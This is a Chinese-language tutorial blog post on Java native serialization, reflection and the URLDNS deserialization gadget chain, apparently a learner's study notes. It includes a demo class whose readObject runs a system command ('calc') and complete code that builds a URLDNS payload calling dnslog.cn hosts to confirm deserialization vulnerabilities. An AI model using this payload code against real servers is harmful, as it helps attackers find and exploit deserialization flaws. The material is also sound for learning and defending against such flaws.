【JAVA反序列化】序列化与反序列化&Java反射&URLDNS链

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 【JAVA反序列化】序列化与反序列化&Java反射&URLDNS链

原生序列化与反序列化

  • 序列化:JAVA对象转换成字节序列的过程;将数据分解为字节流,以便存储在文件中或在网络上传输;用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,相当于可以持久保存了一个对象信息,这过程叫做序列化。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中
  • 反序列化:字节序列恢复成JAVA对象的过程;打开字节流并重构对象,反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类


概述

为什么需要序列化和反序列化?

  • 当两个进程进行远程通讯时需要Java序列化与反序列化(可以相互发送各种数据,包括文本、图片、音频、视频等)
  • 发送方需要把这个Java对象转换成字节序列(二进制序列的形式),然后在网络上传送,另一方面,接收方需要从字节序列中恢复出Java对象


应用场景(涉及到将对象转换成二进制,序列化保证了能够成功读取到保存的对象)

  • 想把内存中的对象保存到一个文件中或者数据库中时候
  • 想用套接字在网络上传送对象的时候
  • 想通过RMI传送对象的时候


涉及的协议

  • XML&SOAP:XMl是一种常用的序列化与反序列化协议,具有跨机器、跨语言等优点,SOAP(Simple Object Access
  • Protocol)是一种被广泛应用的,基于XML为序列化和反序列化的结构化消息传递协议
  • JSON(JavaScript Object Notation)
  • Protobuf:Protobuf是Google开发的一种二进制序列化协议。它使用结构化的消息定义语言来定义数据结构,并提供了高效的序列化和反序列化功能。Protobuf通常用于高性能和高效的数据传输,适用于大规模的数据交换和存储


好处

  • 实现数据的持久化,通过序列化可以吧数据永久地保存到硬盘上(通常存放在文件里)
  • 利用序列化实现远程通信,即在网络上传送对象的字节序列

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列


为什么会产生反序列化

只要服务的反序列化数据,客户端传递类的readObject中的戴拿会自动执行,给予攻击者在服务器上运行代码的能力


可能反序列化的形式?

  1. 入口类的readObject直接调用危险方法
  2. 入口类参数中包含可控类,该类有危险方法readObject师调用
  3. 入口类参数中包含可控类,该类有调用其他有危险方法的类,readObject时调用
  4. 构造函数/静态代码块等类加载时隐式执行


共同条件

  • 入口类 source(重新readObject 调用常见函数 参数类型宽泛 最后jdk自带)
  • 调用链 gadget chain 相同名称 相同类型
  • 执行类sink (rce ssrf写文件等等)


代码演示

定义常规Person类 需要实现Serializable接口(空接口 无抽象方法 用于标记类型,表示Person对象属于特定的类型或具有特定的特征(可序列化的类))


Person类中含有执行系统命令的方法

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

这里模拟类恶意反序列化对象:假如反序列化的数据是可控的

该方法在反序列化过程中被调用,并且假设使用了默认的反序列化逻辑 ois.defaultReadObject()。然后,它使用 Runtime.getRuntime().exec(“calc”) 执行了一个命令


对Person对象进行序列化处理

public class serialize{
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); //创建一个 ObjectOutputStream 对象 oos,接受一个 FileOutputStream 对象作为参数,用于指定序列化数据的输出文件。
        oos.writeObject(obj); //调用 oos.writeObject(obj) 方法,将传入的对象 obj 进行序列化,并将序列化后的数据写入到文件中。
    }
    public static void main(String[] args) throws IOException {
        Person person = new Person("admin",21);
        System.out.println(person);
        serializeTest(person);
    }
}

Person{username=‘admin’, age=21}是序列化前的Person对象输出

对Person对象进行反序列化

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));//创建一个 ObjectInputStream 对象 ois,接受一个 FileInputStream 对象作为参数,用于指定从文件中读取序列化数据。
        Object obj = ois.readObject();//调用 ois.readObject() 方法,从文件中读取序列化的对象,并将其赋值给 Object 类型的变量 obj
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = (Person)unserializeTest("ser.bin");
        System.out.println(person);
    }
}

反序列化后执行系统命令


Java反射

是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象,调用方法的一种机制。由于这种动态性,可以极大的增强程序的灵活性,程序不用在编译期就完成确定,在运行期仍然可以扩展


让java具有动态性 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法

在反序列化漏洞中的应用

  • 定制需要的对象
  • 通过invoke调用除了同名函数之外的函数
  • 通过Class类创建对象,引入不能序列化的类


基础补充

获取Class类对象的三种方式

//调用对象的getClass()方法,返回该对象所属类对应的Class对象
//使用Class类中的静态方法forName(String className)
//使用类的class属性来获取该类对应的Class对象
        Person person = new Person();
        //反射就是操作Class
        Class<? extends Person> c = person.getClass();  //对象名.getClass()方法
        Class<?> c1 = Class.forName("top.whgojp.domain.Person"); //Class.forName(全类名)方法
        Class<Person> c2 = Person.class;  //类名.class属性


Class类获取构造方法对象的方法

方法名 说明
Constructor<?>[] getConstructors() 返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors() 返回所有构造方法对象的数组
Constructor getConstructor(Class<?>… parameterTypes) 返回单个公共构造方法对象
Constructor getDeclaredConstructor(Class<?>… parameterTypes) 返回单个构造方法对象

Constructor类用于创建对象的方法

方法名 说明
T newInstance(Object…initargs) 根据指定的构造方法创建对象

Class类获取成员变量对象的方法

方法名 说明
Field[] getFields() 返回所有公共成员变量对象的数组
Field[] getDeclaredFields() 返回所有成员变量对象的数组
Field getField(String name) 返回单个公共成员变量对象
Field getDeclaredField(String name) 返回单个成员变量对象

Field类用于给成员变量赋值的方法

方法名 说明
voidset(Object obj,Object value) 给obj对象的成员变量赋值为value

Class类获取成员方法对象的方法

方法名 说明
Method[] getMethods() 返回所有公共成员方法对象的数组,包括继承的
Method[] getDeclaredMethods() 返回所有成员方法对象的数组,不包括继承的
Method getMethod(String name, Class<?>… parameterTypes) 返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>… parameterTypes) 返回单个成员方法对象

Method类用于执行方法的方法

方法名 说明
Objectinvoke(Object obj,Object… args) 调用obj对象的成员方法,参数是args,返回值是Object类型

代码演示

    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchFieldException {
//        Person person = new Person();
        //反射就是操作Class
        Class<Person> c2 = Person.class;

        //从原型class里面实例化对象
        Constructor<? extends Person> personconstructor = c2.getConstructor(String.class, int.class);
        Person p = (Person) personconstructor.newInstance("admin",22);
        System.out.println(p);
        //获取类里面属性
        Field agefield = c2.getDeclaredField("age");
        agefield.setAccessible(true);
        agefield.set(p,33);
        System.out.println(p);
        Field usernamefield = c2.getField("username");
        usernamefield.set(p,"whgojp");
        System.out.println(p);
        //调用类里面的方法
        System.out.println("---------------");
        Method test1 = c2.getMethod("test1");
        System.out.println(test1);  //共有方法 无参

        Method test2 = c2.getDeclaredMethod("test2",String.class);
        test2.setAccessible(true);
        test2.invoke(p,"whgojp");
        System.out.println(test2);  //私有方法 并传参
    }


URLDNS链

URLDNS链的利用效果是只能触发一次dns请求,而不能去执行命令。适用于漏洞验证,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。

在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在

原理

java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算key的hashCode,而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求

序列化原生代码

public class serialize {
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        //raw 未修改hashCode值,序列化过程中也会触发dnslog请求
/*       URL url = new URL("http://URLDNStest.r8hzba.dnslog.cn");
        hashMap.put(url, 1);*/

        //将url对象的hashcode改为不是-1
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://test.n4p7aw.dnslog.cn");
        Class<? extends URL> c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1234);
        hashMap.put(url, 1);

        //通过反射,改变URL对象属性 hashCode=-1
        hashCodeField.set(url,-1);

        serializeTest(hashMap);
    }
}

实际上正常在序列化过程中,传入dnslog地址也会有数据回显,因为在序列化过程中同时也调用了hashCode(hashCode传入初始值为-1,也会触发dnslog。图中注释部分与前面讲的JAVA反射技术就是为了动态修改url.Class类中初始hashCode的值,使其不为-1,以避免在探测漏洞时产生误报)

反序列化原生代码

由于pom依赖问题,ysoserial未调试成功 emmm……

这里使用的是最原生的反序列化方法

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(obj);
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserializeTest("ser.bin");
    }
}

得到序列化对象之后,预期效果是反序列化触发dns请求,用于验证漏洞存在

序列化工具链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

反序列化中hashCode为-1

调用getHostAddress、getHost等网络协议触发dnslog请求


URLDNS链

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName


由于第一次接触反序列化链,未免有些地方写的不对,未完待续……


参考

https://blog.csdn.net/mocas_wang/article/details/107621010

https://www.cnblogs.com/nice0e3/p/13772184.html

https://space.bilibili.com/2142877265

相关文章
|
12天前
|
安全 Java 索引
Java——反射&枚举
本文介绍了Java反射机制及其应用,包括获取Class对象、构造方法、成员变量和成员方法。反射允许在运行时动态操作类和对象,例如创建对象、调用方法和访问字段。文章详细解释了不同方法的使用方式及其注意事项,并展示了如何通过反射获取类的各种信息。此外,还介绍了枚举类型的特点和使用方法,包括枚举的构造方法及其在反射中的特殊处理。
36 9
Java——反射&枚举
|
19天前
|
安全 Java API
【Java面试题汇总】Java基础篇——String+集合+泛型+IO+异常+反射(2023版)
String常量池、String、StringBuffer、Stringbuilder有什么区别、List与Set的区别、ArrayList和LinkedList的区别、HashMap底层原理、ConcurrentHashMap、HashMap和Hashtable的区别、泛型擦除、ABA问题、IO多路复用、BIO、NIO、O、异常处理机制、反射
【Java面试题汇总】Java基础篇——String+集合+泛型+IO+异常+反射(2023版)
|
4天前
|
存储 XML JSON
用示例说明序列化和反序列化
用示例说明序列化和反序列化
|
12天前
|
JSON fastjson Java
niubility!即使JavaBean没有默认无参构造器,fastjson也可以反序列化。- - - - 阿里Fastjson反序列化源码分析
本文详细分析了 Fastjson 反序列化对象的源码(版本 fastjson-1.2.60),揭示了即使 JavaBean 沲有默认无参构造器,Fastjson 仍能正常反序列化的技术内幕。文章通过案例展示了 Fastjson 在不同构造器情况下的行为,并深入探讨了 `ParserConfig#getDeserializer` 方法的核心逻辑。此外,还介绍了 ASM 字节码技术的应用及其在反序列化过程中的角色。
40 10
|
6天前
|
JSON NoSQL Java
redis的java客户端的使用(Jedis、SpringDataRedis、SpringBoot整合redis、redisTemplate序列化及stringRedisTemplate序列化)
这篇文章介绍了在Java中使用Redis客户端的几种方法,包括Jedis、SpringDataRedis和SpringBoot整合Redis的操作。文章详细解释了Jedis的基本使用步骤,Jedis连接池的创建和使用,以及在SpringBoot项目中如何配置和使用RedisTemplate和StringRedisTemplate。此外,还探讨了RedisTemplate序列化的两种实践方案,包括默认的JDK序列化和自定义的JSON序列化,以及StringRedisTemplate的使用,它要求键和值都必须是String类型。
redis的java客户端的使用(Jedis、SpringDataRedis、SpringBoot整合redis、redisTemplate序列化及stringRedisTemplate序列化)
|
12天前
|
存储 Java 开发者
Java编程中的对象序列化与反序列化
【9月更文挑战第20天】在本文中,我们将探索Java编程中的一个核心概念——对象序列化与反序列化。通过简单易懂的语言和直观的代码示例,你将学会如何将对象状态保存为字节流,以及如何从字节流恢复对象状态。这不仅有助于理解Java中的I/O机制,还能提升你的数据持久化能力。准备好让你的Java技能更上一层楼了吗?让我们开始吧!
|
20天前
|
存储 Java
Java编程中的对象序列化与反序列化
【9月更文挑战第12天】在Java的世界里,对象序列化与反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何通过实现Serializable接口来标记一个类的对象可以被序列化,并探索ObjectOutputStream和ObjectInputStream类的使用,以实现对象的写入和读取。我们还将讨论序列化过程中可能遇到的问题及其解决方案,确保你能够高效、安全地处理对象序列化。
|
3天前
|
JSON 安全 编译器
扩展类实例的序列化和反序列化
扩展类实例的序列化和反序列化
11 0
|
9天前
|
存储 安全 Java
扫盲java基础-反射(一)
扫盲java基础-反射(一)
|
9天前
|
Java
扫盲java基础-反射(二)
扫盲java基础-反射(二)
下一篇
无影云桌面